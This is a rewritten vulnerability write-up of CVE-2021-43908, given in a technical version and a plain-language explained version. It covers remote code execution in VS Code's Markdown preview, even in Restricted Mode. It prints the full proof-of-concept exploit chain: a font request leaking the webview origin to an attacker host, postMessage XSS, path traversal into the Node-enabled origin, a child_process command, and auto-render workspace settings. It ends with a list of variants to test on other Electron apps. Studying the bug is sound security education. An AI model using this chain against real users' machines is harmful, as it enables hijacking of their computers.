Visual Studio Code - Remote Code Execution in Restricted Mode (CVE-2021-43908)
A malicious VSCode project could achieve remote code execution when a victim opens a markdown file, even in Restricted Mode. The exploit chained an origin leak, a meta redirect, XSS in the webview, and a path traversal to load a malicious HTML file that executed Node.js code.
– by TheGrandPew and s1r1us
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Visual Studio Code is one of the most widely used Electron applications, and this research set out to compromise it as part of a broader study of Electron apps. The feature at the centre of the work is the Markdown preview: when a user opens a Markdown file and asks for the preview, VS Code renders the document inside a webview served from the vscode-webview:// protocol, using a unique ID as the host part of the origin. The rendered page is protected by a strict Content Security Policy.
The result of the research is remote code execution when a victim opens a Markdown file inside a maliciously crafted VS Code project or folder, and it works even in VS Code Restricted Mode. The report was written by TheGrandPew and s1r1us, and MSRC paid $3000 for the bug before fixing it.
Setup
The report does not describe any accounts, roles, tooling versions or installation steps. The only infrastructure it shows is attacker-controlled: a PHP endpoint at https://pwn.af/elect/final/origin.php used to receive the leaked origin, a page at https://pwn.af/somefile.php used as the meta redirect target, and a PHP page that hosts the full proof of concept. The payloads use macOS paths and branch on navigator.platform=='MacIntel', with a project or folder opened that contains the attacker's files.
Finding it
The starting point is the CSP applied to the rendered Markdown page:
default-src 'none'; img-src 'self' https://*.vscode-webview.net https: data:; media-src 'self' https://*.vscode-webview.net https: data:; script-src 'nonce-[redacted]'; style-src 'self' https://*.vscode-webview.net 'unsafe-inline' https: data:; font-src 'self' https://*.vscode-webview.net https: data:;
Scripts are gated behind a nonce, so straightforward XSS is impossible unless the nonce can be leaked. However, the vscode-webview:// page has a postMessage handler, and reaching that handler is a route to XSS. To send a message the handler will accept, the attacker needs the extension ID, which is the host part of the vscode-webview:// origin. The problem therefore splits into leaking that origin, getting script execution in the webview, and then escaping the webview into a context with Node integration.
Exploitation
Step 1: leaking the extension ID through font-src
Because the Markdown is rendered in the same origin as the webview, an HTTPLeaks-style technique works. The researchers found that the extension ID leaks through font-src: when the page loads a font from an attacker URL, the request carries an Origin header containing the ID.
<style>
@font-face {
font-family: "MyFont";
src: url("https://pwn.af/elect/final/origin.php");
}
body {
font-family: "MyFont";
}
</style>
<b>leak</b>
The @font-face rule points at the attacker's PHP endpoint, and the body rule forces the font to be fetched. The request carries an Origin header containing the extension ID.
Step 2: escaping the CSP with a meta redirect
Even with the tight CSP, a meta refresh tag can navigate the page to an attacker site, where JavaScript runs without the nonce restriction. The proof of concept combines the font leak with the redirect:
<style>
@font-face {
font-family: "MyFont";
src: url("https://pwn.af/elect/final/origin.php");
}
body {
font-family: "MyFont";
}
</style>
<body>
<b color="RED">POC STARTING</b>
<meta http-equiv="refresh" content="3;url=https://pwn.af/somefile.php" />
</body>
The meta tag waits three seconds and then sends the browser to https://pwn.af/somefile.php.
Step 3: XSS in the vscode-webview
The vscode-webview:// pages have postMessage handlers that validate the sender by comparing e.origin against a parentOrigin query parameter. That means any arbitrary origin can load the webview in an iframe as long as it sets parentOrigin to itself, and then send messages that pass the check:
window.addEventListener('message', (e) => {
if (e.origin !== parentOrigin) {
console.log(`skipping webview message due to mismatched origins: ${e.origin} ${parentOrigin}`);
return;
}
On the attacker page, the iframe is created with the leaked ID and a parentOrigin pointing at the attacker:
vscode-webview://ID/index.html?id=f6cb17f4-e1a2-465a-8c0b-239d65c5385c&swVersion=2&extensionId=vscode.markdown-language-features&platform=electron&vscode-resource-base-authority=vscode-resource.vscode-webview.net&parentOrigin=https://pwn.af
With the iframe in place, the following message produces XSS inside the webview:
frames[0].postMessage({channel:'content',args:{contents:”<img src=x onerror=alert(origin) />”,options:{allowScripts:true}}},'*')
The channel:'content' message supplies HTML for the webview to render.
Step 4: from vscode-webview to vscode-file
vscode-file is the main origin of VS Code. It has nodeIntegration enabled and behaves like a file:// origin: files can be loaded by path, but only inside the VS Code installation path. The workbench itself lives at:
vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/out/vs/code/electron-browser/workbench/workbench.html
The idea is to navigate vscode-file:// to an attacker-controlled HTML file so that Node code runs and yields RCE. Navigation is limited to the installation path, and arbitrary files cannot be created there. Network shares were tried and did not work. The researchers then noticed that a path traversal escapes the installation path and loads any file on disk:
vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/somefile.html
The remaining problem is placing an arbitrary HTML file on the victim's computer. The solution is to use the same VS Code project or folder that the victim opened: the attacker ships the HTML file inside it and navigates top.location to it. The file contains:
<script> if(navigator.platform=='MacIntel'){
top.require('child_process').exec('open /System/Applications/Calculator.app');
} else{
top.require('child_process').execSync('calc.exe');
}
</script>
On macOS it opens Calculator through child_process.exec; on other platforms it runs calc.exe through execSync.
Step 5: leaking the user directory
Navigating to the file requires knowing its path. Here a postMessage leak helps: vscode-webview:// can send messages to the vscode-file:// origin, and when a channel: do-reload message is sent, vscode-file sends a batch of messages back, one of which leaks the user's directory.
window.top.frames[0].onmessage = (event) => {
//loc= event.data.args.options.localResourceRoots[3].path;
try{
loc = JSON.parse(event.data.args.state)['resource'];
console.log(loc);
}catch{}
}
window.top.postMessage({target:'${origin}',channel:'do-reload'},'*')
The handler parses event.data.args.state as JSON and reads its resource field. The commented line shows an alternative source, localResourceRoots[3].path.
Step 6: navigating to the attacker's HTML file
The proof of concept listens for the leaked path, rewrites it into a vscode-file URL with the traversal, swaps the Markdown filename for the HTML file, and navigates:
<script>
window.top.frames[0].onmessage = event => {
console.log(event);
try {
loc = JSON.parse(event.data.args.state)['resource'];
var pwn_loc = loc.replace('file:///','vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F').replace('pwn_mac.md','test.html')
location.href=pwn_loc;
} catch (e) {
console.log(e);
}
};
window.top.postMessage({
target: '${origin}',
channel: 'do-reload'
}, '*');
</script>
The replace calls turn the leaked file:/// path into a vscode-file://vscode-app/... URL that traverses out of the installation directory, and rename pwn_mac.md to test.html, the attacker's file in the opened project.
Step 7: the full chain
The complete proof of concept combines the webview XSS and the vscode-file XSS in a single PHP page:
<?php
include "config.php"
?>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>PoC</title>
<script>
var channel;
window.addEventListener('message', onMessage);
function onMessage(e){
console.log(e)
channel = e;
channel.ports[0].onmessage = console.log
channel.ports[0].postMessage({channel:'did-load-resource',data:{}})
}
var origin = '<?= $origin ?>'.split('/')[2]
function pwn() {
payload = `<script>
window.top.frames[0].onmessage = event => {
console.log(event);
try {
loc = JSON.parse(event.data.args.state)['resource'];
var pwn_loc = loc.replace('file:///','vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F').replace('pwn_mac.md','test.html')
location.href=pwn_loc;
} catch (e) {
console.log(e);
}
};
window.top.postMessage({
target: '${origin}',
channel: 'do-reload'
}, '*');
<\/script>`
channel.ports[0].postMessage({channel:'content',args:{contents:payload,options:{allowScripts:true}}})
}
setTimeout(function(){pwn()}, 3000);
</script>
</head>
<body>
<iframe style="position: absolute; width:0;height:0;border: 0;border: none;" src="<?= $origin ?>/index.html?id=f6cb17f4-e1a2-465a-8c0b-239d65c5385c&swVersion=2&extensionId=vscode.markdown-language-features&platform=electron&vscode-resource-base-authority=vscode-resource.vscode-webview.net&parentOrigin=<?= $host ?>">
</iframe>
</body>
</html>
The page extracts the host with split('/')[2] and embeds an iframe pointing at the webview with parentOrigin set to the attacker host. The onMessage handler captures the incoming message, stores it in channel, and replies with did-load-resource. After three seconds, pwn() sends the content message with the second-stage payload, which performs the do-reload leak and the navigation to the attacker's HTML file.
Step 8: reducing user interaction
Normally the user has to select Markdown: Open preview in Quick Open to render a Markdown file. A VS Code workspace settings file removes that interaction and renders the Markdown automatically:
{
"workbench.editorAssociations": {
"*.md": "vscode.markdown.preview.editor"
},
"workbench.startupEditor": "readme"
}
The folder structure used for the project is shown below.

Root cause
The chain rests on several design decisions. The webview's postMessage handler trusts a parentOrigin query parameter, so any origin can frame the webview and pass the origin check. The vscode-file origin has Node integration and its path handling can be escaped with ..%2F traversal, so any file on disk can be loaded. The do-reload message makes vscode-file send messages back, one of which leaks the user's directory. Finally, workspace settings can force Markdown preview rendering without user interaction.
Impact
An attacker who convinces a victim to open a maliciously crafted VS Code project or folder achieves remote code execution on the victim's machine, even in VS Code Restricted Mode. The proof of concept runs Calculator. The attack requires the victim to open the project or folder; the workspace settings remove the need to manually trigger the Markdown preview.
Fix
MSRC fixed the bug and paid $3000. The report does not describe the code changes that were made.
Variants to test
- Other Electron apps that render user content in a custom protocol with a nonce-based CSP: try an
@font-facepointing at a listener and check whether theOriginheader reveals an internal host or ID. - Webviews that validate messages against a
parentOrigin-style query parameter: frame the webview from an attacker origin with the parameter set to that origin and see whether messages are accepted. - Custom protocols with Node integration: try
..%2Ftraversal sequences in the path and check whether files outside the intended directory load. - Reload or state messages that return resource paths: send them and inspect the response for absolute paths or user directories.
- Workspace or project settings that change editor associations or the startup editor: check whether they can trigger rendering of attacker content without a click.
- Meta refresh under a strict CSP: check whether a
meta http-equiv="refresh"still navigates away when scripts are blocked by nonce.
What happened, in plain words
Visual Studio Code (VS Code) is a free code editor made by Microsoft. It is built with a framework called Electron, which lets a desktop program be written using the same ingredients as a website: HTML, CSS and JavaScript. Many popular desktop apps are built this way, and VS Code is one of the most widely used of them.
A group of researchers decided to attack VS Code as part of a wider study of Electron apps. They found a way to make VS Code run any command on a victim's computer, a class of problem called remote code execution (RCE). The trick only needs the victim to open a project or folder that the attacker prepared, and it still works when VS Code is in Restricted Mode, a setting meant to make opening unfamiliar code safer.
The feature at the centre of the attack is the Markdown preview. Markdown is a simple way of writing formatted text using plain characters, for example # for a heading. VS Code can show a live preview of a Markdown file, and that preview is drawn inside a webview: a small embedded browser window inside the app. The webview is served from a special address scheme called vscode-webview://, and the page inside it is protected by a Content Security Policy (CSP), a set of rules a browser follows about what a page may load and run.
The report was written by TheGrandPew and s1r1us. Microsoft's security response team, MSRC, paid $3000 for the bug and then fixed it.
Setup
The report does not describe accounts, roles, tool versions or installation steps. The only infrastructure it shows belongs to the attacker:
- a PHP endpoint at
https://pwn.af/elect/final/origin.php, used to receive the leaked origin; - a page at
https://pwn.af/somefile.php, used as the destination of a redirect; - a PHP page that hosts the full proof of concept.
PHP is a programming language commonly used to build web pages on a server. The payloads use macOS paths, and one script checks navigator.platform=='MacIntel' before choosing what to run. The victim has a project or folder open that contains the attacker's files.
Finding it
The starting point is the CSP applied to the rendered Markdown page:
default-src 'none'; img-src 'self' https://*.vscode-webview.net https: data:; media-src 'self' https://*.vscode-webview.net https: data:; script-src 'nonce-[redacted]'; style-src 'self' https://*.vscode-webview.net 'unsafe-inline' https: data:; font-src 'self' https://*.vscode-webview.net https: data:;
This is one long line of rules. Each part starting with a word like img-src or script-src says where a certain kind of content may come from:
default-src 'none'says that anything not covered by a more specific rule is forbidden.img-srcandmedia-srcallow images and audio/video from the page itself ('self'), fromhttps://*.vscode-webview.net, from anyhttps:address, and fromdata:(content embedded directly in the page).script-srcallows scripts only if they carry a matchingnonce, a one-time random value. The long string afternonce-is that value. A nonce works like a numbered ticket handed out at the door: only a script showing the right ticket is allowed to run.style-srcallows styles from the page itself, fromhttps://*.vscode-webview.net, inline ('unsafe-inline'), from anyhttps:address, and fromdata:.font-srcallows fonts from the page itself, fromhttps://*.vscode-webview.net, from anyhttps:address, and fromdata:.
Because scripts are gated behind the nonce, a straightforward cross-site scripting attack (XSS, where an attacker gets their own JavaScript to run inside someone else's page) is impossible unless the nonce can be leaked. However, the vscode-webview:// page has a postMessage handler. postMessage is the browser feature that lets two windows or frames send each other messages; a handler is the piece of code that receives them. Reaching that handler is a route to XSS. To send a message the handler will accept, the attacker needs the extension ID, which is the host part of the vscode-webview:// origin. The origin is the combination of scheme, host and port that identifies where a page came from, roughly like a return address on an envelope.
The problem therefore splits into three parts: leak that origin, get script execution in the webview, and then escape the webview into a context that has Node integration. Node integration means the page is allowed to use Node.js, the runtime that lets JavaScript talk to the operating system, including starting other programs.
Exploitation
Step 1: leaking the extension ID through font-src
Because the Markdown is rendered in the same origin as the webview, a technique in the style of HTTPLeaks works. HTTPLeaks is a catalogue of ways a web page can be made to send a request to an attacker's server, carrying information in the request itself. The researchers found that the extension ID leaks through font-src: when the page loads a font from an attacker URL, the request carries an Origin header containing the ID. A header is a small piece of metadata attached to a web request, like the label on a parcel.
<style>
@font-face {
font-family: "MyFont";
src: url("https://pwn.af/elect/final/origin.php");
}
body {
font-family: "MyFont";
}
</style>
<b>leak</b>
Line by line:
<style>opens a block of CSS, the language that describes how a page looks.@font-face { ... }defines a custom font and says where to download it from.font-family: "MyFont";gives that font a name.src: url("https://pwn.af/elect/final/origin.php");is the address the browser must fetch the font from. It points at the attacker's PHP endpoint.body { font-family: "MyFont"; }tells the page to use that font for all body text, which forces the browser to actually download it.<b>leak</b>is just some bold text so the page has visible content.
The @font-face rule points at the attacker's PHP endpoint, and the body rule forces the font to be fetched. The request carries an Origin header containing the extension ID.
Step 2: escaping the CSP with a meta redirect
Even with the tight CSP, a meta refresh tag can navigate the page to an attacker site, where JavaScript runs without the nonce restriction. A meta refresh is an instruction inside the HTML of a page telling the browser to go to another address after a delay. The proof of concept combines the font leak with the redirect:
<style>
@font-face {
font-family: "MyFont";
src: url("https://pwn.af/elect/final/origin.php");
}
body {
font-family: "MyFont";
}
</style>
<body>
<b color="RED">POC STARTING</b>
<meta http-equiv="refresh" content="3;url=https://pwn.af/somefile.php" />
</body>
Line by line:
- The
<style>block is the same font leak as before: it makes the browser request the attacker's font and reveal the origin. <body>opens the visible part of the page.<b color="RED">POC STARTING</b>shows a red label so the researcher can see the page loaded.<meta http-equiv="refresh" content="3;url=https://pwn.af/somefile.php" />tells the browser to wait three seconds and then navigate tohttps://pwn.af/somefile.php.
The meta tag waits three seconds and then sends the browser to https://pwn.af/somefile.php.
Step 3: XSS in the vscode-webview
The vscode-webview:// pages have postMessage handlers that validate the sender by comparing e.origin against a parentOrigin query parameter. A query parameter is the part of a URL after a ?, made of name and value pairs. That means any arbitrary origin can load the webview in an iframe (a page embedded inside another page) as long as it sets parentOrigin to itself, and then send messages that pass the check:
window.addEventListener('message', (e) => {
if (e.origin !== parentOrigin) {
console.log(`skipping webview message due to mismatched origins: ${e.origin} ${parentOrigin}`);
return;
}
Line by line:
window.addEventListener('message', (e) => {registers a function that runs every time a message arrives at this window. The message object is callede.if (e.origin !== parentOrigin) {compares the origin the message came from with the expectedparentOrigin. If they differ, the message is not trusted.console.log(...)writes a line to the developer console explaining that the message is being skipped because the origins do not match.return;stops handling this message.
The flaw is that any arbitrary origin can load the webview in an iframe and send messages that pass the check.
On the attacker page, the iframe is created with the leaked ID and a parentOrigin pointing at the attacker:
vscode-webview://ID/index.html?id=f6cb17f4-e1a2-465a-8c0b-239d65c5385c&swVersion=2&extensionId=vscode.markdown-language-features&platform=electron&vscode-resource-base-authority=vscode-resource.vscode-webview.net&parentOrigin=https://pwn.af
This is the address loaded into the iframe. ID stands for the extension ID leaked in step 1. The query parameters include an id, a swVersion, the extensionId (vscode.markdown-language-features, the Markdown preview extension), the platform (electron), a vscode-resource-base-authority, and crucially parentOrigin=https://pwn.af, the attacker's own site. Because the attacker sets that value, the origin check in the handler will accept messages from https://pwn.af.
With the iframe in place, the following message produces XSS inside the webview:
frames[0].postMessage({channel:'content',args:{contents:”<img src=x onerror=alert(origin) />”,options:{allowScripts:true}}},'*')
Line by line:
frames[0]refers to the first frame on the page, which is the webview iframe..postMessage(...)sends a message to it.{channel:'content',args:{contents:...,options:{allowScripts:true}}}is the message body. Thechannelis'content', meaning the webview should render the supplied HTML.contentsholds that HTML.options.allowScripts:truetells the webview that scripts inside the content are allowed.- The HTML being sent is
<img src=x onerror=alert(origin) />. It is an image whose sourcexdoes not exist, so the browser fires theonerrorevent, and the event handler runsalert(origin), a popup showing the page's origin. '*'as the last argument means the message may be delivered to any origin, without restriction.
The channel:'content' message supplies HTML for the webview to render.
Step 4: from vscode-webview to vscode-file
vscode-file is the main origin of VS Code. It has nodeIntegration enabled and behaves like a file:// origin: files can be loaded by path, but only inside the VS Code installation path. The workbench itself lives at:
vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/out/vs/code/electron-browser/workbench/workbench.html
This is the address of the main VS Code window. vscode-app is the host part, and the rest is a path inside the application's installation folder on a Mac.
The idea is to navigate vscode-file:// to an attacker-controlled HTML file so that Node code runs and yields RCE. Navigation is limited to the installation path, and arbitrary files cannot be created there. Network shares were tried and did not work. The researchers then noticed that a path traversal escapes the installation path and loads any file on disk. Path traversal means putting .. segments in a path to climb up out of the intended folder, like writing .. on a form to mean "the folder above".
vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/somefile.html
Here %2F is the URL-encoded form of a slash /. Encoding it stops the browser or the app from tidying the path up before it is used. Each ..%2F climbs one folder higher, and after enough of them the path is outside the installation folder, so somefile.html can be any file on disk.
The remaining problem is placing an arbitrary HTML file on the victim's computer. The solution is to use the same VS Code project or folder that the victim opened: the attacker ships the HTML file inside it and navigates top.location to it. top.location is the address of the outermost window, so setting it makes the whole app navigate. The file contains:
<script> if(navigator.platform=='MacIntel'){
top.require('child_process').exec('open /System/Applications/Calculator.app');
} else{
top.require('child_process').execSync('calc.exe');
}
</script>
Line by line:
<script>starts a block of JavaScript.if(navigator.platform=='MacIntel'){checks whether the computer reports itself as a Mac.top.require('child_process')loads Node'schild_processmodule, which can start other programs.topmeans the outermost window, which is the one with Node integration..exec('open /System/Applications/Calculator.app')runs the macOSopencommand on the Calculator app, so Calculator appears.} else {covers every other platform.top.require('child_process').execSync('calc.exe');runscalc.exeand waits for it to finish.execSyncis the synchronous version ofexec.}closes the if, and</script>ends the script.
On macOS it opens Calculator through child_process.exec; on other platforms it runs calc.exe through execSync.
Step 5: leaking the user directory
Navigating to the file requires knowing its path. Here a postMessage leak helps: vscode-webview:// can send messages to the vscode-file:// origin, and when a channel: do-reload message is sent, vscode-file sends a batch of messages back, one of which leaks the user's directory.
window.top.frames[0].onmessage = (event) => {
//loc= event.data.args.options.localResourceRoots[3].path;
try{
loc = JSON.parse(event.data.args.state)['resource'];
console.log(loc);
}catch{}
}
window.top.postMessage({target:'${origin}',channel:'do-reload'},'*')
Line by line:
window.top.frames[0].onmessage = (event) => {sets what happens when the first frame inside the top window receives a message.//loc= event.data.args.options.localResourceRoots[3].path;is a commented-out line, kept as a note of an alternative place the path can be found. In JavaScript,//starts a comment.try{begins a block where errors are caught rather than stopping the script.loc = JSON.parse(event.data.args.state)['resource'];takes thestatefield of the message, parses it from JSON (a text format for structured data) into an object, and reads itsresourcefield intoloc.console.log(loc);prints that path to the console.}catch{}silently ignores any error, for example if the message does not have the expected shape.}closes the handler.window.top.postMessage({target:'${origin}',channel:'do-reload'},'*')sends ado-reloadmessage to the top window, addressed to${origin}, which triggers the batch of replies.
The handler parses event.data.args.state as JSON and reads its resource field. The commented line shows an alternative source, localResourceRoots[3].path.
Step 6: navigating to the attacker's HTML file
The proof of concept listens for the leaked path, rewrites it into a vscode-file URL with the traversal, swaps the Markdown filename for the HTML file, and navigates:
<script>
window.top.frames[0].onmessage = event => {
console.log(event);
try {
loc = JSON.parse(event.data.args.state)['resource'];
var pwn_loc = loc.replace('file:///','vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F').replace('pwn_mac.md','test.html')
location.href=pwn_loc;
} catch (e) {
console.log(e);
}
};
window.top.postMessage({
target: '${origin}',
channel: 'do-reload'
}, '*');
</script>
Line by line:
<script>starts the script.window.top.frames[0].onmessage = event => {sets the handler for messages arriving in the first frame.console.log(event);prints the whole message for debugging.try {starts the error-protected block.loc = JSON.parse(event.data.args.state)['resource'];extracts the leaked path, as in step 5.var pwn_loc = loc.replace('file:///','vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F').replace('pwn_mac.md','test.html')builds the attack URL in two replacements. The first swaps the ordinaryfile:///prefix for avscode-file://vscode-app/...prefix that contains the traversal out of the installation folder. The second swaps the Markdown filenamepwn_mac.mdfortest.html, the attacker's HTML file in the opened project.location.href=pwn_loc;navigates the current window to that address.} catch (e) { console.log(e); }catches and prints any error.};closes the handler.window.top.postMessage({ target: '${origin}', channel: 'do-reload' }, '*');sends thedo-reloadmessage that starts the leak.</script>ends the script.
The replace calls turn the leaked file:/// path into a vscode-file://vscode-app/... URL that traverses out of the installation directory, and rename pwn_mac.md to test.html, the attacker's file in the opened project.
Step 7: the full chain
The complete proof of concept combines the webview XSS and the vscode-file XSS in a single PHP page:
<?php
include "config.php"
?>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>PoC</title>
<script>
var channel;
window.addEventListener('message', onMessage);
function onMessage(e){
console.log(e)
channel = e;
channel.ports[0].onmessage = console.log
channel.ports[0].postMessage({channel:'did-load-resource',data:{}})
}
var origin = '<?= $origin ?>'.split('/')[2]
function pwn() {
payload = `<script>
window.top.frames[0].onmessage = event => {
console.log(event);
try {
loc = JSON.parse(event.data.args.state)['resource'];
var pwn_loc = loc.replace('file:///','vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F').replace('pwn_mac.md','test.html')
location.href=pwn_loc;
} catch (e) {
console.log(e);
}
};
window.top.postMessage({
target: '${origin}',
channel: 'do-reload'
}, '*');
<\/script>`
channel.ports[0].postMessage({channel:'content',args:{contents:payload,options:{allowScripts:true}}})
}
setTimeout(function(){pwn()}, 3000);
</script>
</head>
<body>
<iframe style="position: absolute; width:0;height:0;border: 0;border: none;" src="<?= $origin ?>/index.html?id=f6cb17f4-e1a2-465a-8c0b-239d65c5385c&swVersion=2&extensionId=vscode.markdown-language-features&platform=electron&vscode-resource-base-authority=vscode-resource.vscode-webview.net&parentOrigin=<?= $host ?>">
</iframe>
</body>
</html>
Line by line:
<?php include "config.php" ?>is a PHP instruction that pulls in another file,config.php, which supplies the$originand$hostvalues used further down.<html lang="en" dir="ltr">starts the HTML document, in English, left to right.<head>opens the part of the page that holds metadata rather than visible content.<meta charset="utf-8">declares the text encoding.<title>PoC</title>sets the browser tab title.<script>starts the page's JavaScript.var channel;declares a variable to hold the message channel.window.addEventListener('message', onMessage);says that every incoming message should be passed to the functiononMessage.function onMessage(e){defines that function, with the message ine.console.log(e)prints the message.channel = e;stores the message, which carries a port, a two-way communication channel between windows.channel.ports[0].onmessage = console.logmakes anything arriving on that port be printed.channel.ports[0].postMessage({channel:'did-load-resource',data:{}})replies on the port with adid-load-resourcemessage, telling the webview that a resource has loaded.}closes the function.var origin = '<?= $origin ?>'.split('/')[2]takes the leaked origin from PHP, splits it on slashes, and keeps the third piece, which is the host.function pwn() {defines the function that launches the second stage.payload = \<script> ... </script>`is a template string holding the second-stage script, the same one shown in step 6. The closing tag is written</script>` so that the browser does not end the outer script early.channel.ports[0].postMessage({channel:'content',args:{contents:payload,options:{allowScripts:true}}})sends that payload to the webview as content, with scripts allowed, which is the XSS from step 3.}closespwn.setTimeout(function(){pwn()}, 3000);waits three seconds and then callspwn, giving the iframe time to load.</script>ends the script.</head>closes the head.<body>opens the visible page.<iframe style="position: absolute; width:0;height:0;border: 0;border: none;" src="<?= $origin ?>/index.html?id=f6cb17f4-e1a2-465a-8c0b-239d65c5385c&swVersion=2&extensionId=vscode.markdown-language-features&platform=electron&vscode-resource-base-authority=vscode-resource.vscode-webview.net&parentOrigin=<?= $host ?>">creates a hidden iframe (zero width and height, no border) pointing at the webview, withparentOriginset to the attacker's host.</iframe>closes it,</body>and</html>close the page.
The page extracts the host with split('/')[2] and embeds an iframe pointing at the webview with parentOrigin set to the attacker host. The onMessage handler captures the incoming message, stores it in channel, and replies with did-load-resource. After three seconds, pwn() sends the content message with the second-stage payload, which performs the do-reload leak and the navigation to the attacker's HTML file.
Step 8: reducing user interaction
Normally the user has to select Markdown: Open preview in Quick Open to render a Markdown file. Quick Open is VS Code's search box for jumping to files and commands. A VS Code workspace settings file removes that interaction and renders the Markdown automatically:
{
"workbench.editorAssociations": {
"*.md": "vscode.markdown.preview.editor"
},
"workbench.startupEditor": "readme"
}
Line by line:
- The outer
{and}are the start and end of a JSON object, a collection of named values. "workbench.editorAssociations": { "*.md": "vscode.markdown.preview.editor" }maps files ending in.mdto the Markdown preview editor, so opening one shows the preview instead of the plain text."workbench.startupEditor": "readme"opens the readme file when VS Code starts.
The settings file renders the Markdown automatically without interaction. The folder structure used for the project is shown below.

The image shows the folder structure.
Root cause
The chain rests on several design decisions. The webview's postMessage handler trusts a parentOrigin query parameter, so any origin can frame the webview and pass the origin check. The vscode-file origin has Node integration and its path handling can be escaped with ..%2F traversal, so any file on disk can be loaded. The do-reload message makes vscode-file send messages back, one of which leaks the user's directory. Finally, workspace settings can force Markdown preview rendering without user interaction.
Impact
An attacker who convinces a victim to open a maliciously crafted VS Code project or folder achieves remote code execution on the victim's machine, even in VS Code Restricted Mode. The proof of concept runs Calculator. The attack requires the victim to open the project or folder; the workspace settings remove the need to manually trigger the Markdown preview.
Fix
MSRC fixed the bug and paid $3000. The report does not describe the code changes that were made.
Variants to test
- Other Electron apps that render user content in a custom protocol with a nonce-based CSP: try an
@font-facepointing at a listener and check whether theOriginheader reveals an internal host or ID. - Webviews that validate messages against a
parentOrigin-style query parameter: frame the webview from an attacker origin with the parameter set to that origin and see whether messages are accepted. - Custom protocols with Node integration: try
..%2Ftraversal sequences in the path and check whether files outside the intended directory load. - Reload or state messages that return resource paths: send them and inspect the response for absolute paths or user directories.
- Workspace or project settings that change editor associations or the startup editor: check whether they can trigger rendering of attacker content without a click.
- Meta refresh under a strict CSP: check whether a
meta http-equiv="refresh"still navigates away when scripts are blocked by nonce.
Glossary
- API: a defined way for one piece of software to ask another to do something, like a menu of allowed requests.
- CSP (Content Security Policy): rules a page gives the browser about which sources of scripts, styles, images and fonts are allowed.
- CSS: the language that describes how a web page looks.
- Electron: a framework for building desktop apps with web technology (HTML, CSS, JavaScript).
- Extension ID: the identifier of a VS Code extension, used here as the host part of the webview origin.
- Header: extra metadata sent with a web request or response, such as
Origin. - HTML: the language that describes the structure and content of a web page.
- HTTPLeaks: a catalogue of ways a page can be made to send a request to an attacker's server, carrying information.
- Iframe: a web page embedded inside another web page.
- JavaScript: the programming language that runs in browsers and, through Node.js, on computers.
- JSON: a text format for structured data, made of names and values.
- Markdown: a simple way of writing formatted text with plain characters.
- Meta refresh: an HTML tag that tells the browser to navigate to another address after a delay.
- MSRC: Microsoft Security Response Center, the team that handles security reports for Microsoft products.
- Node integration: a setting that lets a page use Node.js, and therefore talk to the operating system and start programs.
- Node.js: a runtime that lets JavaScript run outside a browser, with access to the file system and other programs.
- Nonce: a one-time random value that a script must carry to be allowed to run under a CSP.
- Origin: the scheme, host and port that identify where a page came from, such as
https://pwn.af. - Path traversal: using
..segments in a path to climb out of the intended folder. - PHP: a programming language commonly used to build web pages on a server.
- postMessage: a browser feature that lets windows and frames send messages to each other.
- Query parameter: a name and value pair in a URL after the
?. - RCE (remote code execution): a flaw that lets an attacker run their own commands on someone else's computer.
- Restricted Mode: a VS Code setting that limits what an unfamiliar project is allowed to do.
- URL encoding: writing special characters in a URL as
%followed by a code, such as%2Ffor/. - Webview: a small embedded browser window inside an app.
- XSS (cross-site scripting): a flaw that lets an attacker run their own JavaScript inside someone else's page.